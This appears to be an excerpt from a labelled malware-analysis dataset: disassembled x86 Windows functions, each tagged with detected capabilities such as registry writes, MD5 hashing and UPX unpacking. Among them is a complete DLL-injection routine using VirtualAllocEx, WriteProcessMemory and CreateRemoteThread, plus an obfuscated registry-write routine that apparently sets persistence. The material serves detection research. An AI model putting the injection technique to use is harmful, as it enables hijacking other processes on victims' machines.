joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404420
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422f48
mov eax, dword fs:[0]
push eax
sub esp, 0x70
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov ecx, 0x5b
xor eax, eax
mov dl, byte [eax + 0x427848]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x7c], dl
jns 0x404470
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x3e
jl 0x404453
push 0x523244
push 0xf003f
push ebx
lea eax, [ebp - 0x7c]
push eax
push 0x80000002
mov byte [ebp - 0x3e], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 1
push 0x427888
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.00401640
mov dword [ebp - 4], ebx
call fcn.00404380
mov ecx, eax
lea esi, [ecx + 1]
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x4044c0
sub ecx, esi
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00404e80
push 1
mov eax, 0x42788c
lea ecx, [ebp - 0x2c]
call fcn.00404e80
call fcn.00404380
mov ecx, eax
lea esi, [ecx + 1]
jmp 0x4044f0
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x4044f0
sub ecx, esi
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00404e80
push 1
mov eax, 0x42788c
lea ecx, [ebp - 0x2c]
call fcn.00404e80
call fcn.00404380
mov ecx, eax
lea esi, [ecx + 1]
jmp 0x404520
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x404520
sub ecx, esi
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00404e80
push 1
mov eax, 0x42788c
lea ecx, [ebp - 0x2c]
call fcn.00404e80
call fcn.00404380
mov ecx, eax
lea esi, [ecx + 1]
jmp 0x404550
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x404550
sub ecx, esi
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00404e80
push 1
mov eax, 0x42788c
lea ecx, [ebp - 0x2c]
call fcn.00404e80
call fcn.00404380
mov ecx, eax
lea esi, [ecx + 1]
jmp 0x404580
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x404580
sub ecx, esi
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00404e80
push 1
mov eax, 0x427890
lea ecx, [ebp - 0x2c]
call fcn.00404e80
mov ecx, 0x5b
xor eax, eax
jmp 0x4045b0
mov dl, byte [eax + 0x427894]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x3c], dl
jns 0x4045cd
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xd
jl 0x4045b0
mov eax, dword [ebp - 0x2c]
mov esi, 0x10
mov byte [ebp - 0x2f], bl
cmp dword [ebp - 0x18], esi
jae 0x4045e6
lea eax, [ebp - 0x2c]
mov ecx, dword [0x523244]
push 0x1f
push eax
push 1
push ebx
lea eax, [ebp - 0x3c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [0x523244]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x18], esi
jb 0x40461b
mov eax, dword [ebp - 0x2c]
push eax
call fcn.0040be81
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b50d
mov esp, ebp
pop ebp
ret
Function at 0x404640
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push 0
mov esi, ecx
lea ecx, [ebp - 0x108]
push ecx
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
jne 0x404690
push str.An_error_is_occured_when_trying_to_get_the_full_path_of_the_DLL._n
call fcn.0040d069
add esp, 4
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b50d
mov esp, ebp
pop ebp
ret
push edi
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4046c5
push str.An_error_is_occured_when_trying_to_open_the_target_process._n
call fcn.0040d069
add esp, 4
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b50d
mov esp, ebp
pop ebp
ret
push ebx
push str._PROCESS_INJECTION__n
call fcn.0040d069
push str.Process_opened_successfully._n
call fcn.0040d069
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 8
push 0x40
push 0x3000
lea edx, [ebp - 0x108]
push edx
call ebx
inc eax
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
jne 0x404724
push str.An_error_is_occured_when_trying_to_allocate_memory_in_the_target_process._n
call fcn.0040d069
add esp, 4
pop ebx
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b50d
mov esp, ebp
pop ebp
ret
push esi
push str.Memory_allocate_at_0x_X_n
call fcn.0040d069
add esp, 8
push 0
lea eax, [ebp - 0x108]
push eax
call ebx
inc eax
push eax
lea ecx, [ebp - 0x108]
push ecx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x404759
push str.An_error_is_occured_when_trying_to_write_the_DLL_path_in_the_target_process._n
jmp 0x404709
push str.DLL_path_writen_successfully._n
call fcn.0040d069
add esp, 4
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, 0xffffffff
je 0x404711
test eax, eax
je 0x404711
push str.LoadLibraryA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
jne 0x404796
push str.An_error_is_occured_when_trying_to_get__LoadLibraryA__address._n
jmp 0x404709
push ebx
push str.LoadLibraryA_address_at_0x_X_n
call fcn.0040d069
add esp, 8
push 0
push 0
push esi
push ebx
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, 0xffffffff
jne 0x4047c4
push str.An_error_is_occured_when_trying_to_create_the_thread_in_the_target_process._n
jmp 0x404709
push str.DLL_Injected___n
call fcn.0040d069
mov ecx, dword [ebp - 4]
add esp, 4
pop ebx
pop edi
xor ecx, ebp
pop esi
call fcn.0040b50d
mov esp, ebp
pop ebp
ret
Function at 0x4071a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4230a8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x40734e
cmp byte [ebx + 0x49], 0
je 0x40734e
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x407342
mov ecx, 0xf
xor eax, eax
mov byte [ebp - 0x2c], 0
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 8
cmp ecx, 0x10
jae 0x407215
lea eax, [ebp - 0x2c]
mov byte [eax + 8], 0
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x407232
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [ebx + 0x44]
mov esi, dword [ecx]
lea edi, [ebp - 0x30]
push edi
push edx
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x407269
dec eax
je 0x40726d
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x407349
call fcn.00401390
xor al, al
jmp 0x407350
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x40727d
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x4072aa
cmp edi, 0x10
jae 0x40728c
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x54]
push ecx
push esi
push 1
push eax
call fcn.0040d599
add esp, 0x10
cmp esi, eax
jne 0x40733a
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x407346
test esi, esi
jne 0x407226
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x40736b
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x40736b
cmp edi, esi
jae 0x407323
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.00401830
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x407226
mov ecx, eax
cmp edi, 0x10
jae 0x4072ff
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x40731a
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x407220
test esi, esi
jne 0x4072f5
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x407332
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x407220
lea ecx, [ebp - 0x2c]
call fcn.00401390
xor al, al
jmp 0x407350
lea ecx, [ebp - 0x2c]
call fcn.00401390
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b50d
mov esp, ebp
pop ebp
ret
push str.string_too_long
call fcn.0040aa28
int3
Function at 0x407660
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422d7b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x42b6d0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0040b079
push 4
mov dword [ebp - 4], 0
call fcn.0040bedd
mov edi, eax
add esp, 4
test edi, edi
je 0x4076dc
call fcn.0040af51
mov dword [edi], eax
call fcn.0040ad10
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.0040b03a
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x4076d2
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.0040b062
jmp 0x4076de
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x409320
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x423118
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov ebx, ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 4], eax
cmp dword [ebp + 0x1c], 0x10
mov byte [ebp - 0x7c], al
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
jae 0x409385
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp + 0x18]
lea esi, [ebp - 0x7c]
call fcn.004090e0
mov ecx, esi
call fcn.00409190
mov eax, esi
push eax
call fcn.00409270
cmp dword [ebp + 0x1c], 0x10
jb 0x4093b2
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040be81
add esp, 4
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b50d
mov esp, ebp
pop ebp
ret

Function at 0x40b50d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42b6d0]
jne 0x40b517
repz ret
jmp fcn.0041116c
Function at 0x415d8c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x415db3
call fcn.0040e33b
mov dword [eax], esi
call fcn.0040e328
push 0x16
pop esi
mov dword [eax], esi
call fcn.0041354c
mov eax, esi
jmp 0x415e08
test dword [ebp + 0xc], 0xfffffff9
jne 0x415d99
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x415de0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040e34e
pop ecx
call fcn.0040e328
mov eax, dword [eax]
jmp 0x415e08
test al, 0x10
jne 0x415e06
test al, 1
je 0x415e06
test byte [ebp + 0xc], 2
je 0x415e06
call fcn.0040e33b
mov dword [eax], 5
call fcn.0040e328
mov dword [eax], 0xd
jmp 0x415dd7
xor eax, eax
pop esi
pop ebp
ret

Function at 0x416fe8
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00411e01
and dword [ebp - 0x14], 0
cmp dword [0x42d9b0], 0
mov dword [ebp - 0x18], eax
jne 0x41709b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x417143
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x417143
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x42d9b0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x42d9b4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42d9b8], eax
call edi
push eax
call esi
mov dword [0x42d9c0], eax
test eax, eax
je 0x41709b
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42d9bc], eax
mov eax, dword [0x42d9bc]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4170f4
cmp dword [0x42d9c0], ecx
je 0x4170f4
push eax
call esi
push dword [0x42d9c0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4170f4
test ebx, ebx
je 0x4170f4
call edi
test eax, eax
je 0x4170eb
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4170eb
test byte [ebp - 8], 1
jne 0x4170f4
or dword [ebp + 0x10], 0x200000
jmp 0x417127
mov eax, dword [0x42d9b4]
cmp eax, dword [ebp - 0x18]
je 0x417127
push eax
call esi
test eax, eax
je 0x417127
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x417127
mov eax, dword [0x42d9b8]
cmp eax, dword [ebp - 0x18]
je 0x417127
push eax
call esi
test eax, eax
je 0x417127
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42d9b0]
call esi
test eax, eax
je 0x417143
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x417145
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b50d
leave
ret
Function at 0x426e50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1a000]
push edi
jmp 0x426e6a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x426e71
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x426e60
mov eax, 1
add ebx, ebx
jne 0x426e83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x426e78
jne 0x426e94
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x426e78
xor ecx, ecx
sub eax, 3
jb 0x426ea8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x426f1a
mov ebp, eax
add ebx, ebx
jne 0x426eb3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x426ec0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x426ee4
inc ecx
add ebx, ebx
jne 0x426ed0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x426ec5
jne 0x426ee1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x426ec5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x426f04
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x426ef5
jmp 0x426e66
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x426f04
add edi, ecx
jmp 0x426e66
pop esi
mov edi, esi
mov ecx, 0x91a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x426f22
cmp byte [edi], 9
jne 0x426f22
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x426f27
lea edi, [esi + 0x24000]
mov eax, dword [edi]
or eax, eax
je 0x426f9f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2e808]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2e8d0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x426f54
mov ecx, edi
jns 0x426f83
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2e8d4]
or eax, eax
je 0x426f99
mov dword [ebx], eax
add ebx, 4
jmp 0x426f71
call dword [esi + 0x2e8e4]
mov ebp, dword [esi + 0x2e8d8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x17f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x426fd3
sub esp, 0xffffff80
jmp 0x41382f
Function at 0x406810
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x47b7c8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push esi
push edi
mov eax, dword [0x4983f8]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
xor edi, edi
mov dword [esp + 0x10], edi
mov eax, dword [edx + 0x14]
cmp eax, dword [esp + 0x40]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], edi
lea eax, [esp + 0xc]
jl 0x406854
lea eax, [esp + 0x40]
cmp dword [eax], edi
jg 0x40685c
lea eax, [esp + 0x10]
mov ecx, dword [eax]
push edx
xor edx, edx
lea esi, [esp + 0x18]
call fcn.00406ae0
mov dword [esp + 0x38], edi
push ebx
mov edi, eax
call fcn.004068c0
cmp dword [esp + 0x2c], 8
jb 0x40688a
mov eax, dword [esp + 0x18]
push eax
call fcn.00462b9f
add esp, 4
mov eax, ebx
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x30
ret 4
Function at 0x41d2f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x47da48
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x4983f8]
xor eax, esp
mov dword [esp + 0x28], eax
push ebp
push esi
push edi
mov eax, dword [0x4983f8]
xor eax, esp
push eax
lea eax, [esp + 0x3c]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x4c]
xor eax, eax
xor ecx, ecx
mov byte [esp + 0x17], 0
mov dword [esp + 0x34], 7
mov dword [esp + 0x30], eax
mov word [esp + 0x20], cx
mov dword [esp + 0x44], eax
lea edx, [esp + 0x1c]
mov dword [esp + 0x18], eax
push edx
lea eax, [esp + 0x1c]
mov ecx, ebp
call fcn.0040be40
mov edi, 8
test eax, eax
je 0x41d40a
mov ecx, dword [esp + 0x18]
cmp ecx, 1
jbe 0x41d40a
mov eax, dword [esp + 0x20]
cmp dword [esp + 0x34], edi
jae 0x41d37f
lea eax, [esp + 0x20]
mov esi, dword [ebp + 0x98c]
push 1
push eax
dec ecx
push ecx
mov eax, 0x10
mov ecx, ebx
call fcn.0040af10
test eax, eax
je 0x41d40a
mov ecx, dword [ebp + 0x8c]
test ecx, ecx
je 0x41d3c0
call fcn.00409b60
test eax, eax
je 0x41d3c0
mov eax, dword [ebp + 0x984]
push eax
mov edi, ecx
call fcn.00455cb0
mov edi, 8
cmp dword [ebp + 0x97c], edi
jb 0x41d3d0
mov eax, dword [ebp + 0x968]
jmp 0x41d3d6
lea eax, [ebp + 0x968]
mov ecx, dword [ebp + 0x980]
mov edx, dword [ebx]
mov edx, dword [edx + 0x10]
push ecx
push eax
mov ecx, ebx
call edx
test eax, eax
jne 0x41d49c
cmp byte [esp + 0x17], al
jne 0x41d466
call fcn.0040c1c0
cmp eax, 0x2740
jne 0x41d466
mov eax, dword [ebx]
mov edx, dword [eax + 8]
mov ecx, ebx
call edx
mov eax, dword [esp + 0x20]
mov byte [esp + 0x17], 1
cmp dword [esp + 0x34], edi
jae 0x41d41d
lea eax, [esp + 0x20]
mov esi, dword [ebp + 0x98c]
push 1
push eax
push 0
mov eax, 0x10
mov ecx, ebx
call fcn.0040af10
test eax, eax
jne 0x41d39a
push 1
mov ecx, str.421_Could_not_create_socket.
mov esi, ebp
call fcn.00415240
call fcn.0041c6c0
cmp dword [esp + 0x34], edi
jb 0x41d462
mov eax, dword [esp + 0x20]
push eax
call fcn.00462b9f
add esp, 4
xor eax, eax
jmp 0x41d4d1
call fcn.0040c1c0
cmp eax, 0x2733
je 0x41d49c
push 1
mov ecx, 0x48c828
mov esi, ebp
call fcn.00415240
call fcn.0041c6c0
cmp dword [esp + 0x34], edi
jb 0x41d462
mov ecx, dword [esp + 0x20]
push ecx
call fcn.00462b9f
add esp, 4
xor eax, eax
jmp 0x41d4d1
mov eax, dword [ebp + 0x90]
test eax, eax
je 0x41d4b9
cmp byte [ebp + 0x9bc], 0
je 0x41d4b9
mov ecx, dword [eax + 0x78]
mov eax, ebx
call fcn.00455ce0
cmp dword [esp + 0x34], edi
jb 0x41d4cc
mov edx, dword [esp + 0x20]
push edx
call fcn.00462b9f
add esp, 4
mov eax, 1
mov ecx, dword [esp + 0x3c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x28]
xor ecx, esp
call fcn.00462baa
add esp, 0x38
ret 4
Function at 0x41f300
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x47b7c8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push esi
push edi
mov eax, dword [0x4983f8]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
xor edi, edi
mov dword [esp + 0x10], edi
mov edx, dword [ecx + 0x14]
mov eax, edx
cmp eax, dword [esp + 0x40]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], edi
lea eax, [esp + 0xc]
jl 0x41f346
lea eax, [esp + 0x40]
cmp dword [eax], edi
jg 0x41f34e
lea eax, [esp + 0x10]
mov eax, dword [eax]
push ecx
sub edx, eax
or ecx, 0xffffffff
lea esi, [esp + 0x18]
call fcn.00406ae0
mov dword [esp + 0x38], edi
push ebx
mov edi, eax
call fcn.004068c0
cmp dword [esp + 0x2c], 8
jb 0x41f37f
mov eax, dword [esp + 0x18]
push eax
call fcn.00462b9f
add esp, 4
mov eax, ebx
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x30
ret 4

Function at 0x421de0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x47b0b8
mov eax, dword fs:[0]
push eax
mov eax, dword [0x4983f8]
xor eax, esp
push eax
lea eax, [esp + 4]
mov dword fs:[0], eax
mov dword [esp + 0xc], 0
cmp dword [esp + 0x30], 8
mov eax, dword [esp + 0x1c]
jae 0x421e17
lea eax, [esp + 0x1c]
push eax
mov eax, dword [esp + 0x18]
push eax
call fcn.004222e0
add esp, 8
cmp dword [esp + 0x30], 8
jb 0x421e39
mov ecx, dword [esp + 0x1c]
push ecx
call fcn.00462b9f
add esp, 4
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
pop ecx
add esp, 0xc
ret 0x20